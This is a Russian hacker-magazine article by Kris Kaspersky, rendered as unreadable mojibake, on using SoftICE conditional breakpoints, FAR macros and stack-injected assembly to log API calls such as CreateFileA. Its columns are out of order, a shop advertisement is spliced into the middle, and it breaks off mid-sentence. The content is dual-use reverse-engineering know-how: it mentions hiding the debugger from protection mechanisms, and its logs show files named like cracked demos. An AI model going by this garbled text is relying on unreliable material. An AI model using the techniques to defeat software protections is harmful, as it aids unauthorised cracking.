ÕÀÊÅÐÛ ÏÈØÓÒ ÑÂÎÈ ÓÒÈËÈÒÛ, ÏÐÎÑÈÆÈÂÀß ÇÀ
ÊÎÌÏÈËßÒÎÐÎÌ ÄÎËÃÈÅ ÇÈÌÍÈÅ ÍÎ×È. ÕÎ×ÅØÜ 
ÓÇÍÀÒÜ ÁÎËÅÅ ÊÎÐÎÒÊÈÉ ÏÓÒÜ? | Êðèñ Êàñïåðñêè àêà ìûùúõ

Ðàññêàç îá àññåìáëåðå, 
îòëàä÷èêå óðîâíÿ ÿäðà è ìàêðîñàõ
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[íàø ñàìûé ïåðâûé ïðîòîêîë]

Break due to BPX KERNEL32!CreateFileA  DO "x;" (ET=1.44 seconds)
Break due to BPX KERNEL32!CreateFileA  DO "x;" (ET=940.19 milliseconds)
Break due to BPX KERNEL32!CreateFileA  DO "x;" (ET=14.51 seconds)
Break due to BPX KERNEL32!CreateFileA  DO "x;" (ET=19.23 milliseconds)
Break due to BPX KERNEL32!CreateFileA  DO "x;" (ET=13.88 milliseconds)

Ìû âèäèì ìíîæåñòâî ñòðîê, êàæäàÿ èç êîòîðûõ îïèñûâàåò ïðè÷èíó ñðà-
áàòûâàíèÿ òî÷êè îñòàíîâà è âðåìÿ. Âðîäå áû õîðîøî, à ïî ñóòè íè÷åãî
õîðîøåãî. Êàêîé ôàéë îòêðûâàëñÿ â êàæäîé ñòðîêå? Çàâåðøèëàñü ëè
ýòà îïåðàöèÿ óñïåøíî èëè íåò? Â îáùåì, íàøà òî÷êà îñòàíîâà íóæäà-
åòñÿ â ñóùåñòâåííîé äîðàáîòêå.
Âîò óëó÷øåííûé âàðèàíò (âíèìàíèå, SoftICE íå ïîçâîëÿåò ñòàâèòü äâå
òî÷êè îñòàíîâà íà îäíó ôóíêöèþ è ïåðåä òåì, êàê ñîçäàâàòü íîâóþ, ñòà-
ðàÿ äîëæíà áûòü óäàëåíà êîìàíäîé 'bc 0'):

[áðÿê, ðàñïå÷àòûâàþùèé èìåíà âñåõ îòêðûâàåìûõ ôàéëîâ]

bpx CreateFileA DO "D esp->4 L 20; x;"

×òî èçìåíèëîñü? Ïîÿâèëñÿ âûâîä èìåíè ôàéëà: 'D esp->4 L 20', ãäå 'D' � êîìàí-
äà îòîáðàæåíèÿ äàìïà, 'esp->4' � óêàçàòåëü íà ïåðâûé àðãóìåíò ôóíêöèè
CreateFileA (÷òî îòêðûâàòü), à 'L 20' � ñêîëüêî áàéò âûâîäèòü (êîíêðåòíîå çíà÷å-
íèå âûáèðàåòñÿ ïî âêóñó). Ïðîòåñòèðóåì îáíîâëåííûé âàðèàíò. Íàæèìàåì <Ctrl-
D>, âûõîäèì èç îòëàä÷èêà, çàïóñêàì êàêóþ-íèáóäü ïðîãðàììó, çà êîòîðîé õîòèì
ïîøïèîíèòü (íàïðèìåð, FAR), çàòåì âíîâü íàæèìàåì <Ctrl-D>, çàõîäèì â îòëàä-
÷èê è ãîâîðèì 'bd 0' äëÿ ïðåêðàùåíèÿ øïèîíàæà. Âûõîäèì èç SoftICE, çàõîäèì
â Symbol Loader è ñîõðàíÿåì èñòîðèþ íà äèñê. Íà ýòîò ðàç ìû ïîëó÷àåì:

[óñîâåðøåíñòâîâàííûé ïðîòîêîë ñ èìåíàìè îòêðûâàåìûõ ôàéëîâ]

Break due to BPX KERNEL32!CreateFileA  DO "d esp->4 L 20;x;" (ET=3.64 seconds)
0010:004859E8 43 4F 4E 4F 55 54 24 00-43 4F 4E 49 4E 24 00 49  CONOUT$.CONIN$.I
0010:004859F8 6E 74 65 72 66 61 63 65-00 4D 6F 75 73 65 00 25  nterface.Mouse.%

Break due to BPX KERNEL32!CreateFileA  DO "d esp->4 L 20;x;" (ET=8.98 milliseconds)
0010:004859F0 43 4F 4E 49 4E 24 00 49-6E 74 65 72 66 61 63 65  CONIN$.Interface
0010:00485A00 00 4D 6F 75 73 65 00 25-63 00 25 30 32 64 3A 25  .Mouse.%c.%02d:%

Break due to BPX KERNEL32!CreateFileA  DO "d esp->4 L 20;x;" (ET=16.93 milliseconds)
0010:00492330 43 3A 5C 50 72 6F 67 72-61 6D 20 46 69 6C 65 73  C:\Program Files
0010:00492340 5C 46 61 72 5C 46 61 72-45 6E 67 2E 6C 6E 67 00  \Far\FarEng.lng.

Ñîâñåì äðóãîå äåëî! Òåïåðü îòîáðàæàåòñÿ èìÿ îòêðûâàåìîãî ôàéëà è
íàø èìïðîâèçèðîâàííûé øïèîí ìàëî-ïîìàëó íà÷èíàåò ðàáîòàòü. Îäíà-
êî îòñóòñòâóþò òàêèå âàæíåéøèå èíãðåäèåíòû, êàê èäåíòèôèêàòîð ïðî-
öåññà, âûçûâàâøåãî API-ôóíêöèþ è êîä âîçâðàòà. Íî ÷òî íàì ñòîèò äî-
áàâèòü ê òî÷êå îñòàíîâà åùå íåñêîëüêî ñòðîê?

[ôèíàëüíàÿ òî÷êà îñòàíîâà ]

bpx CreateFileA DO "? PID; D esp->4 L 20; P RET; ? EAX; x;"

Êîìàíäà '? PID' âûâîäèò èäåíòèôèêàòîð ïðîöåññà, 'P RET' âûïîëíÿåò API-ôóíê-
öèþ, äîæèäàÿñü âîçâðàòà, à '? EAX' ñîîáùàåò ñîäåðæèìîå ðåãèñòðà EAX, â êî-
òîðîì íàõîäèòñÿ êîä âîçâðàòà èç API-ôóíêöèè, è âñå âìåñòå ýòî ðàáîòàåò òàê:

[ïîëíàÿ âåðñèÿ ïðîòîêîëà]

Break due to BPX KERNEL32!CreateFileA  DO "? PID; D esp->4 L 20; P RET; ? EAX; x;"
000001DC  0000000476  "?" ; PID
0010:0012138C 43 44 2E 73 6E 61 69 6C-2E 65 78 65 00 61 5F 65  CD.snail.exe.a_e
0010:0012139C 2E 65 78 65 00 00 00 00-00 00 00 00 00 00 00 00  .exe............
00000074  0000000116  "t" ; êîä âîçâðàòà

Break due to BPX KERNEL32!CreateFileA  DO "? PID; D esp->4 L 20; P RET; ? EAX; x;"
000001DC  0000000476  "?" ; PID
0010:0012138C 64 65 6D 6F 2E 63 72 6B-2E 65 78 65 00 61 5F 65  demo.crk.exe.a_e
0010:0012139C 2E 65 78 65 00 00 00 00-00 00 00 00 00 00 00 00  .exe............
00000074  0000000116  "t" ; êîä âîçâðàòà

Break due to BPX KERNEL32!CreateFileA  DO "? PID; D esp->4 L 20; P RET; ? EAX; x;"
000001DC  0000000476  "?" ; PID
0010:0012138C 64 65 6D 6F 2E 70 72 6F-74 65 63 74 65 64 2E 63  demo.protected.c
0010:0012139C 72 6B 2E 65 78 65 00 00-00 00 00 00 00 00 00 00  rk.exe..........
00000074  0000000116  "t" ; êîä âîçâðàòà

ñòâóþùàÿ â ëîãå, ñêàæåì, ñëåäó-
åò ëè çà äàííîé API-ôóíêöèåé
êîìàíäà TEST EAX,EAX èëè íåò. 
À åñëè ìû çàõîòèì øïèîíèòü íå
òîëüêî çà API, íî è çà ÷åì-íè-
áóäü ñîâåðøåííî äðóãèì? Íàï-
ðèìåð, ïåðåõâàòèòü ïðîòîêîë îá-
ìåíà ñ äðàéâåðîì èëè æåëåçîì.
SoftICE äàåò íàì òàêóþ âîçìîæ-
íîñòü! Ìû ïðîñòî ñîçäàåì óñëîâ-
íóþ òî÷êó îñòàíîâà ñ õèòðûìè ïà-
ðàìåòðàìè è çàñòàâëÿåì îòëàä÷èê
âìåñòî âñïëûòèÿ íà ýêðàí, âûâî-
äèòü âñþ èíôîðìàöèþ â ëîã, ïðè-
÷åì êàêèå äàííûå âûâîäèòü è â
êàêîì ïîðÿäêå, îïÿòü-òàêè îïðåäå-
ëÿåì ìû ñàìè. Ñèñòåìà ìàêðîñîâ �
âåëèêàÿ âåùü, íî äàëåêî íå âñå
õàêåðû èñïîëüçóþò åå íà ïîëíóþ.
Õîòèì ïîëó÷èòü ãèáêèé è êîíôèãó-
ðàáåëüíûé ëîããåð ñ ïðàêòè÷åñêè
íåîãðàíè÷åííûìè âîçìîæíîñòÿ-
ìè? Íó, òàê ÷åãî æå ìû æäåì?!

[ëåãêàÿ ðàçìèíêà] Ïðåæäå ÷åì
èñïîëüçîâàòü SoftICE êàê ëîããåð
,åãî íåîáõîäèìî ïðàâèëüíî íàñò-
ðîèòü. Çàïóñêàì Symbol Loader,
ëåçåì â Edit -> SoftICE initialization
setting è óâåëè÷èâàåì ðàçìåð áó-
ôåðà èñòîðèè (history buffer) äî
íåñêîëüêèõ ìåãàáàéò. Òî÷íîå çíà-
÷åíèå çàâèñèò îò êîíêðåòíîé çàäà-
÷è. ×åì áîëüøå èíôîðìàöèè íàì
íåîáõîäèìî ñîáðàòü çà îäèí ñå-
àíñ, òåì äëèííåå äîëæåí áûòü áó-
ôåð. Ïîñêîëüêó áóôåð óñòðîåí ïî
ïðèíöèïó êîëüöà, òî ïðè åãî çàïîë-
íåíèè íèêàêîãî ïåðåïîëíåíèÿ íå
ïðîèñõîäèò, ïðîñòî ñâåæèå äàí-
íûå çàòèðàþò ñàìûå ñòàðûå. Âî
âêëàäêå Macros Definition ìîæíî
óâåëè÷èòü êîëè÷åñòâî îäíîâðå-
ìåííî èñïîëüçóåìûõ ìàêðîñîâ ñ
32 (ïî óìîë÷àíèþ) äî 256. Íî ýòî
óæå ïî æåëàíèþ. Äëÿ áîëüøèíñòâà
çàäà÷ ëèìèò â 32 ìàêðîñà ìåøàòü
íèêîìó íå áóäåò.
Òåïåðü ïîïðîáóåì â êà÷åñòâå ðàç-
ìèíêè ïðîñëåäèòü çà âûçîâîì
ôóíêöèè CreateFileA, èñïîëüçóþ-
ùåéñÿ äëÿ îòêðûòèÿ óñòðîéñòâ è
ôàéëîâ. Ñîçäàäèì óñëîâíóþ òî÷êó
îñòàíîâà ñëåäóþùåãî âèäà: 'bpx
CreateFileA DO "x;"'. Êëþ÷åâîå ñëî-
âî DO îïðåäåëÿåò ïîñëåäîâàòåëü-
íîñòü êîìàíä îòëàä÷èêà, êîòîðûå
òîò äîëæåí âûïîëíèòü ïîñëå òîãî,
êàê ýòà òî÷êà ñðàáîòàåò. Êîìàíäû
ðàçäåëÿþòñÿ òî÷êîé ñ çàïÿòîé è
ïîäðîáíåå îá èõ ñèíòàêñèñòå ìîæ-
íî ïðî÷èòàòü â ãëàâå Conditional
Breakpoints ðóêîâîäñòâà ïîëüçîâà-
òåëÿ ïî îòëàä÷èêó. Â äàííîì ñëó-
÷àå çäåñü ñòîèò òîëüêî êîìàíäà 'x',
îçíà÷àþùàÿ íåìåäëåííûé âûõîä
èç îòëàä÷èêà.
Íàæìåì <Ctrl-D> äëÿ âîçâðàòà â
Windows è ïîïðîáóåì ïîîòêðû-
âàòü ôàéëû, à êîãäà ýòî íàäîåñò,
âûçîâåì Symbol Loader è ñîõðà-
íèì èñòîðèþ SoftICE â ôàéë ïðî-
òîêîëà (File -> Save SoftICE history
as). Ïîñëå íåïðîäîëæèòåëüíîãî
øóðøàíèÿ íà äèñêå îáðàçóåòñÿ
ôàéë winice.log (ïî óìîë÷àíèþ).
Ïîñìîòðèì ÷òî òàì? [X
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Ñîãëàñèòåñü, ÷òî ñ òàêèì îò÷åòîì ìîæíî è ïîðàáîòàòü! Ìû óæå äîñòèãëè
ôóíêöèîíàëà ñòàíäàðòíîãî API-øïèîíà, îäíàêî ïðè æåëàíèè ôèëüòð ëåãêî
óñëîæíèòü, äîáàâèâ íîâûå êðèòåðèè îòáîðà ïðîá. Ôîðìàò ïðîòîêîëà îò÷åòà
òàêæå ëåãêî îáîãàòèòü íîâûìè äåòàëÿìè, âûâîäÿ âñå íåîáõîäèìûå ïîäðîá-
íîñòè, êîòîðûå òîëüêî ïîòðåáóþòñÿ (íàïðèìåð, ñîäåðæèìîå ñòåêà âûçîâîâ).
Êîíå÷íî, ýòîò ïóòü íå îáõîäèòñÿ áåç ïðîáëåì. Ïîñòîÿííî âñïëûâàþùèé
SoftICE ïðîòèâíî ìåðöàåò è æðåò ïðîèçâîäèòåëüíîñòü. Ìîæíî ëè êàê-íèáóäü
çàñòàâèòü åãî ââåñòè ïðîòîêîë, íå âñïëûâàÿ? Ìîæíî! Îòëàä÷èê ïîääåðæèâà-
åò ñïåöèàëüíóþ ôóíêöèþ BPLOG, âñåãäà âîçâðàùàþùóþ TRUE è ïîäàâëÿþ-
ùóþ âñïëûòèå îòëàä÷èêà. Ê ñîæàëåíèþ, âìåñòå ñ ýòèì ïîäàâëÿåòñÿ è ïîñëå-
äîâàòåëüíîñòü êîìàíä, ñëåäóþùàÿ çà DO, à çíà÷èò, ñîçäàíèå ïîäðîáíûõ îò-
÷åòîâ ñòàíîâèòñÿ íåâîçìîæíûì, òàê ÷òî äëÿ íàøèõ öåëåé òàêîé ñïîñîá íå ãî-
äèòñÿ. Äðóãèõ «àíòèâñïëûâàþùèõ» ñðåäñòâ â íàøåì ðàñïîðÿæåíèè íåò.
Åùå îäíèì èñòî÷íèêîì ãîëîâíîé áîëè ñòàíîâèòñÿ ìóñîð â ïðîòîêîëå.
Ïîëåçíûå äàííûå ïåðåìåøèâàþòñÿ ñ ïðî÷åé èíôîðìàöèåé, âûâîäÿ-
ùåéñÿ íà ýêðàí, è... Êàêàÿ òàì ëåãêîñòü ÷òåíèÿ! Áåç íàïèñàíèÿ ñïåöè-
àëüíîãî ôîðìàòåðà îò÷åòîâ ìû áóêâàëüíî óòîíåì. Íî ïðîãðàììèðîâàòü
íà Perl'å ëåíèâî, è íà ïîìîùü ïðèõîäÿò... ïðàâèëüíî! Ìàêðîñû! Òîëüêî
íà ýòîò ðàç íå èç SoftICE, à òå, ÷òî âñòðîåíû â FAR.
Íàæèìàåì <F4> (â FAR'e) è âíèìàòåëüíî ñìîòðèì íà íàø îò÷åò. Êàê âèä-
íî, êàæäàÿ ïîðöèÿ îò÷åòíîé èíôîðìàöèè íà÷èíàåòñÿ ñî ñòðîêè "break due
to". Âîò åå-òî ìû è áóäåì èñêàòü! Íàæèìàåì <Ctrl-.> äëÿ íà÷àëà çàïèñè
ìàêðîñîâ, çàòåì <F7> "break due to" <ENTER>. Òåïåðü <Shift-ñòðåëêà âïðà-
âî> ïîêà ìû íå âûäåëèì âñå ëèøíåå äî "CreateFileA", <Crl-Del>, ÷òîáû âû-
ðåçàòü åãî , <Ctrl-Shift-ñòðåëêà âïðàâî>, ÷òîáû ïåðåéòè íà "DO", êîòîðîå ìû
òàêæå óäàëÿåì âìåñòå ñ îñòàòêîì ñòðîêè è ò.ä. è ò. ï. Êðîìñàåì òåêñò, êàê
õîòèì. Ýòî òÿæåëî îïèñûâàòü ñëîâàìè, ëåã÷å ïîêàçàòü êîíå÷íûé ðåçóëü-
òàò. Ïîñëå òîãî êàê ìàêðîñ áóäåò ñîçäàí, äîñòàòî÷íî áóäåò åãî ïðèìåíèòü
ê ïðîòîêîëó çàäàííîå ÷èñëî ðàç (ïðîñòî íàæàòü íàçíà÷åííóþ åìó êîìáè-
íàöèþ êëàâèø è íå îòïóñêàòü), â ðåçóëüòàòå ÷åãî ïîëó÷èòñÿ ñëåäóþùåå:

[ïðèëèçàííûé ïðîòîêîë, èç êîòîðîãî âûáðîøåíî âñå íåíóæíîå]

CreateFileA, PID:1DCh; NAME: CD.snail.exe; RET: 74h
CreateFileA, PID:1DCh; NAME: demo.crk.exe; RET: 74h
CreateFileA, PID:1DCh; NAME: demo.protected.crk.exe; RET: 74h

Âïîëíå äîñòîéíûé ðåçóëüòàò äëÿ íåñêîëüêèõ ìèíóò ðàáîòû! Ñ ïîìîùüþ
ìàêðîñîâ ìîæíî ñäåëàòü âñå èëè ïðàêòè÷åñêè âñå! È ïóñêàé íåêîòîðûå
ïðåçðèòåëüíî óõìûëüíóòüñÿ, ìîë, ýòîò ïóòü íåïðîôåññèîíàëåí. Ãëàâ-
íîå, ÷òî ïîñòàâëåííàÿ çàäà÷à áûëà âûïîëíåíà â ðåêîðäíî êîðîòêèå ñðî-
êè, à âñå îñòàëüíîå óæå íåâàæíî.

[áîëåå ñëîæíûå ôèëüòðû] Äî ñèõ ïîð ìû íå ñîçäàëè íè÷åãî ñëîæ-
íåå îáû÷íîãî API-øïèîíà, êîòîðûõ ïðîñòî òüìà. Íà÷íåì ñ òîãî, ÷òî
SoftICE (îñîáåííî ïðè èñïîëüçîâàíèè àïïàðàòíûõ òî÷åê îñòàíîâà òèïà
'bpm') íàìíîãî ìåíåå êîíôëèêòåí, ÷åì áîëüøèíñòâî øïèîíîâ, è ëåãêî
ðàáîòàåò òàì, ãäå äðóãèå ñðåäñòâà óæå íå ñïðàâëÿþòñÿ (îñîáåííî åñëè

åãî ïðåäâàðèòåëüíî ïðîïàò÷èòü ñ ïîìîùüþ ïàêåòà IceExt, êîòîðûé ñêðû-
âàåò îòëàä÷èê îò íåêîòîðûõ çàùèòíûõ ìåõàíèçìîâ). Âñå èíòåðåñíîå
òîëüêî íà÷èíàåòñÿ!
Äàâàéòå ÷óòü-÷óòü óñëîæíèì çàäà÷ó. Áóäåì øïèîíèòü íå çà âñåìè ôàé-
ëàìè, à òîëüêî çà òåìè, ÷üå èìÿ íà÷èíàåòñÿ íà áóêâó «a». Ýòî ñîâñåì
íåñëîæíî!

[òî÷êà îñòàíîâà, øïèîíÿùàÿ çà îòêðûòèåì ôàéëîâ, íà÷èíàþùèõñÿ ñ áóêâû «a»]

bpx CreateFileA if byte (*esp->4)=='a' DO xxx

Ïðîáëåìà â òîì, ÷òî åñëè ôóíêöèè CreateFileA ïåðåäàåòñÿ ïîëíîå èìÿ
ôàéëà ñ ïóòåì, íàøà òî÷êà îñòàíîâà óæå íå ñðàáîòàåò, ïîñêîëüêó îíà
ïðîâåðÿåò òîëüêî ïåðâûé ñèìâîë èìåíè, à ôóíêöèè ïîèñêà ïîäñòðîêè â
àðñåíàëå SoftICE, óâû, íåò. Êàê ãîâîðèòüñÿ, êîíñòðóêòèâíî íåïðåäóñ-
ìîòðåíî. Êàêàÿ æàëîñòü, íî íå áåäà!
Áóäåì èñõîäèòü èç òîãî, ÷òî ïàìÿòü, ëåæàùàÿ âûøå óêàçàòåëÿ ñòå-
êà, êàê ïðàâèëî, ñâîáîäíà è ìîæåò áûòü èñïîëüçîâàíà ïî íàøåìó óñ-
ìîòðåíèþ. ×òî åñëè çàïèñàòü òóäà êðîøå÷íóþ àññåìáëåðíóþ ïðîã-
ðàììó è ïåðåäàòü íà íåå óïðàâëåíèå? Åñëè ýòî ïîëó÷èòñÿ (à ýòî ïî-
ëó÷èòñÿ, óæ ïîâåðü ìíå) ìû ñìîæåì íåîãðàíè÷åííî íàðàùèâàòü
ôóíêöèîíàë îòëàä÷èêà, íå ïðèáåãàÿ ê ïëàãèíàì, êîòîðûå íå ñîâñåì
äîêóìåíòèðîâàíû (òî÷íåå, ñîâñåì íå äîêóìåíòèðîâàíû), äîâîëüíî
ãðîìîçäêè, íåïîâîðîòëèâû è ò. ä.
Äëÿ âûïîëíåíèÿ ïðîãðàììû íà ñòåêå íàì íóæåí èñïîëíÿåìûé ñòåê.
Âïëîòü äî íàñòîÿùåãî âðåìåíè ýòî íå ïðåäñòàâëÿëî ïðîáëåìû, è â ñòå-
êå ìîæíî áûëî âûïîëíÿòü ëþáîé êîä áåç êàêèõ áû òî íè áûëî óõèùðå-
íèé, íî òåïåðü ñèòóàöèÿ èçìåíèëàñü, è íà ïèêå áîðüáû ñ âèðóñàìè è ñå-
òåâûìè ÷åðâÿìè ïðîèçâîäèòåëè ïðîöåññîðîâ ñêîîïåðèðîâàëèñü ñ
Microsoft è â ïîñëåäíèõ âåðñèÿõ Windows XP, à òàêæå íåíàâèñòíîé ìíå
Longhorn. Ïî óìîë÷àíèþ ñòåê çàùèùåí îò èñïîëíåíèÿ, âïðî÷åì ïðè ïåð-
âîé æå ïîïûòêå âûïîëíåíèÿ ìàøèííîãî êîäà â åãî îêðåñòíîñòÿõ, ñèñòå-
ìà âûáðàñûâàåò äèàëîãîâîå îêíî, ïðåäëàãàþùåå ëèáî îòêëþ÷èòü çàùè-
òó, ëèáî ñäåëàòü íåõîðîøåé ïðîãðàììå õàðàêèðè.
×òîáû îñóùåñòâèòü çàäóìàííîå, ìû äîëæíû ñäåëàòü ñëåäóþùåå:

ïîìåñòèòü ìàøèííûé êîä íàøåé ôóíêöèè âûøå âåðøèíû ñòåêà;
ñîõðàíèòü òåêóùåå çíà÷åíèå ðåãèñòðà EIP è ðåãèñòðà ôëàãîâ 
(íàïðèìåð, â òîì æå ñòåêå);
ñîõðàíèòü âñå ðåãèñòðû, êîòîðûå èçìåíÿåò íàøà ôóíêöèÿ;
óñòàíîâèòü EIP íà íà÷àëî íàøåé ôóíêöèè;
òåì èëè èíûì îáðàçîì ïåðåäàòü àðãóìåíòû (íàïðèìåð, ÷åðåç ðåãèñòðû);
âûïîëíèòü ôóíêöèþ, âîçâðàòèâ ðåçóëüòàò ðàáîòû, íàïðèìåð, ÷åðåç EAX;
ïðîàíàëèçèðîâàòü âîçâðàùåííîå çíà÷åíèå, 
âûïîëíèâ òå èëè èíûå îïåðàöèè;
âîññòàíîâèòü èçìåíåííûå ðåãèñòðû;
âîññòàíîâèòü ðåãèñòð EIP è ðåãèñòð ôëàãîâ;
ïðîäîëæèòü íîðìàëüíîå âûïîëíåíèå ïðîãðàììû.

Çâó÷èò óñòðàøàþùå, íî íè÷åãî ñëîæíîãî â ýòîì íåò. Äàâàé äëÿ íà÷àëà
ïîïûòàåìñÿ âûïîëíèòü ôóíêöèþ XOR EAX,EAX/RET. Êàê ïåðåâåñòè åå â
ìàøèííûé êîä? Ìîæíî, êîíå÷íî, âîñïîëüçîâàòüñÿ HIEW'îì èëè äàæå
FASM'îì, íî çà÷åì âûõîäèòü èç SoftICE? Äîñòàòî÷íî ïåðåìåñòèòüñÿ â
ëþáîå ñâîáîäíîå ìåñòî ïàìÿòè è äàòü êîìàíäó 'a' (assemble � òî åñòü
àññåìáëèðîâàòü), òîëüêî ïðåäâàðèòåëüíî óáåäèñü, ÷òî òû íàõîäèøüñÿ â
êîíòåêñòå îòëàæèâàåìîãî ïðèëîæåíèÿ (åãî èìÿ îòîáðàæàåòñÿ â ïðàâîì
íèæíåì óãëó ýêðàíà), à íå â ÿäðå, èíà÷å ñëó÷èòñÿ êðàõ. 

[àññåìáëèðîâàíèå íàøåé ôóíêöèè â SoftICE]

:a esp-10
0023:0012B0DC xor eax,eax
0023:0012B0DE ret
0023:0012B0DF

:d esp-10
0023:0012B0DC 33 C0 C3 00 DB 80 FB 77-88 AE F8 77 FF FF FF FF  3......w...w....
0023:0012B0EC 31 D8 43 00 E8 59 48 00-00 00 00 C0 03 00 00 00  1.C..YH.........

Òåïåðü ïðîãðàììà ëåæèò íà ñòåêå, íî âîò êàê åå èñïîëíèòü? Äà î÷åíü
ïðîñòî! Ñêàçàòü 'G esp-10' (ïåðåéòè ê àäðåñó esp-10) è ïóñòü ïðîöåññîð
âûêðó÷èâàåòñÿ êàê ìîæåò. Ïðàâäà, ÷òîáû âîçâðàòèòü óïðàâëåíèå â òåêó-
ùåå ìåñòî îòëàæèâàåìîé ïðîãðàììû, íåîáõîäèìî ïðåäâàðèòåëüíî ñîõ-
ðàíèòü ðåãèñòð EIP, à ñäåëàòü ýòî íå òàê-òî ïðîñòî. Êîìàíäà 'E (esp-10)
EIP' íå ðàáîòàåò, ïîñêîëüêó íå äîïóñêàåò èñïîëüçîâàíèÿ âûðàæåíèé (à
èìÿ ðåãèñòðà � ýòî âûðàæåíèå) è îáëàìûâàåò íàñ ïî ïîëíîé syntax
error. Êàê áûòü? Êîãî ìî÷èòü? ×òî äåëàòü?!

NuMega SoftIce Symbol Loader

íàñòîéêà ðàçìåðà áóôåðà èñòîðèè



Â ííàøåì ììàãàçèíå
âàñ ææäåò ááîëåå
1000 èèãð 
íà ââàø ââûáîð

Ïîñòîÿííî    
îáíîâëÿåìûé 
àññîðòèìåíò

Òîâàðû îîò    
ñàìûõ ëëó÷øèõ 
ïðîèçâîäèòåëåé

*

ÌÌîîííèèòòîîðð
SShhuuttttllee XXPP1177SSGG

$675.99

ÍÍààóóøøííèèêêèè
SSeennnnhheeiisseerr RRSS 111100-88 

$79.99

ÊÊîîëëîîííêêèè
MM-AAuuddiioo SSttuuddiioopphhiillee 
LLXX44 22..11 SSyysstteemm

$339.99

ØØëëååìì
ii-OO DDiissppllaayy SSyysstteemmss 
ii-ggllaasssseess PPCC 

$1099.99

ÊÊîîððïïóóññ
SShhuuttttllee SSBB8833GG55CC

$485.99

PPiinnnnaaccllee SSyysstteemmss 
SSttuuddiioo 99 PPlluuss RRUUSS 

$99.99

* *

Èãðàé
ïðîñòî!
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À äàâàé âîñïîëüçóåìñÿ êîìàíäîé 'M' (move), êîïèðóþùåé áëîêè ïàìÿòè
èç îäíîãî àäðåñà â äðóãîé. Òîãäà ìû ñìîæåì ñîõðàíèòü êóñî÷åê îðèãè-
íàëüíîé ïðîãðàììû íà ñòåêå, à ñàìó ïðîãðàììó ìîäèôèöèðîâàòü ïî
ñâîåìó óñìîòðåíèþ. Ìû äîëæíû áóäåì çàïèñàòü PUSH EAX/MOV
EAX,ESP/SUB EAX,10h/CALL EAX. Êîðî÷å, íàì íóæíà êîìàíäà CALL
ESP-N, ïîñêîëüêó òàêîé êîìàíäû â ëåêñèêîíå x86 ïðîöåññîðîâ íåò è íè-
êîãäà íå ñóùåñòâîâàëî, íàì ïðèõîäèòñÿ åå ýìóëèðîâàòü ÷åðåç ìàòåìà-
òè÷åñêèå ïðåîáðàçîâàíèÿ ñ ëþáûì äîïîëíèòåëüíûì ðåãèñòðîì, íàïðè-
ìåð, EAX. Â ìàøèííîì êîäå ýòî âûãëÿäèò òàê: "50h/8Bh C4h/83h E8h
10h/FFh D0h".
Êîïèðóåì êóñîê îòëàæèâàåìîé ïðîãðàììû íà ñòåê: 'M EIP L 10 ESP-20',
ãäå 'ESP-20' � àäðåñ-ïðèåìíèê, ëåæàùèé âûøå óêàçàòåëÿ âåðøèíû ñòå-
êà è íå çàòèðàþùèé íàøó ìàøèííóþ ïðîãðàììó. Òåïåðü ìîäèôèöèðóåì
îêðåñòíîñòè îòëàæèâàåìîé ïðîãðàììû: 'ED EIP 83C48B50; ED EIP+4
D0FF10E8'. Êàê âèäíî, ýòî òîò æå ñàìûé êîä, òîëüêî íàáðàííûé çàäîì
íàïåðåä, ïîòîìó ÷òî â x86 ïðîöåññîðàõ ìëàäøèé áàéò ðàñïîëàãàåòñÿ ïî
ìåíüøåìó àäðåñó.
Íà ýòîì ïîäãîòîâèòåëüíûé ýòàï ìîæíî ñ÷èòàòü çàêîí÷åííûì. Ãîâîðèì 'T'
(TRACE), ïîâòîðÿÿ ýòó êîìàíäó ÷åòûðå ðàçà äî âõîäà â íàøó ôóíêöèþ, à
çàòåì îòäàåì ïðèêàç 'P RET' äëÿ âûõîäà îòòóäà. È âñå!!! Â ðåãèñòðå EAX
òåïåðü ñîäåðæèòñÿ íîëü! Íàøà ôóíêöèÿ çàâåðøèëà ñâîþ ðàáîòó è âîçâ-
ðàòèëà âñå, ÷òî õîòåëà! Ðàçâå ýòî íå çäîðîâî, ÷òî ìîæíî âûïîëíÿòü â îò-
ëàä÷èêå ñâîé ñîáñòâåííûé êîä, íàïèñàííûé ñ ÷èñòîãî ëèñòà?!
Íî âîò ïðîáëåìà êàê ïðîàíàëèçèðîâàòü âîçâðàùåííîå çíà÷åíèå â îò-
ëàä÷èêå? Åñëè ïîïûòàòüñÿ ïîéòè ïðÿìûì ïóòåì: 'IF (eax==0) DO xxxx', òî
íàñ ïîèìåþò ïî âñåìó ìÿñîêîìáèíàòó. Íó íå ïîíèìàåò SoftICE óñëîâíûõ
êîìàíä, è êëþ÷åâîå ñëîâî IF ìîæåò âñòðå÷àòüñÿ òîëüêî â òî÷êàõ îñòàíî-
âà. Òàê äàâàéòå è ñîçäàäèì åìó ôèêòèâíóþ òî÷êó îñòàíîâà, êîòîðàÿ ñðà-
áàòûâàåò âñåãäà! ×òî-òî âðîäå:

[ôèêòèâíàÿ òî÷êà îñòàíîâà ïîçâîëÿåò èñïîëüçîâàòü êëþ÷åâîå ñëîâî IF]

BPX EIP IF (EAX==0) DO xxx

Åñòåñòâåííî, íåçàâèñèìî îò òîãî, ñðàáîòàåò ëè òî÷êà îñòàíîâà èëè íåò,
íàì íåîáõîäèìî âîññòàíîâèòü ðåãèñòð EAX (ïðî ôëàãè ìû ïîìíèì, íî
íå ñîõðàíÿåì èõ, ÷òîáû íå çàãðîìîæäàòü êîä), âåðíóòü êóñîê îðèãèíàëü-
íîé ïðîãðàììû íà ìåñòî è óäàëèòü ôèêòèâíóþ òî÷êó, ïîñêîëüêó êîëè÷å-
ñòâî òî÷åê îñòàíîâà îãðàíè÷åííî. ×òî êàñàåòñÿ ðåãèñòðà EAX, òî îí ìî-
æåò áûòü âîññòàíîâëåí êîìàíäîé POP EAX, ñëåäóþùåé çà CALL EAX, à
âåðíóòü ïðîãðàììó íà ìåñòî ïîìîæåò êîíñòðóêöèÿ 'M ESP-20 L 10 EIP-9'.
Îòêóäà âçÿëîñü 'EIP-9'? Ïðî÷åìó íå EIP? Òàê âåäü â ïðîöåññå âûïîëíå-
íèÿ «çàïëàòêè» çíà÷åíèå EIP èçìåíèëîñü! ×èñëî «9» è åñòü ðàçìåð íà-
øåé çàïëàòêè âìåñòå ñ êîìàíäîé POP EAX. Îñòàåòñÿ ñêàçàòü «R EIP =
EIP-9», ÷òîáû âåðíóòü EIP íà ìåñòî, è âûïîëíåíèå îòëàæèâàåìîé ïðîã-
ðàììû ìîæíî ñìåëî ïðîäîëæàòü. Åñëè âñå áûëî ñäåëàíî ïðàâèëüíî, è
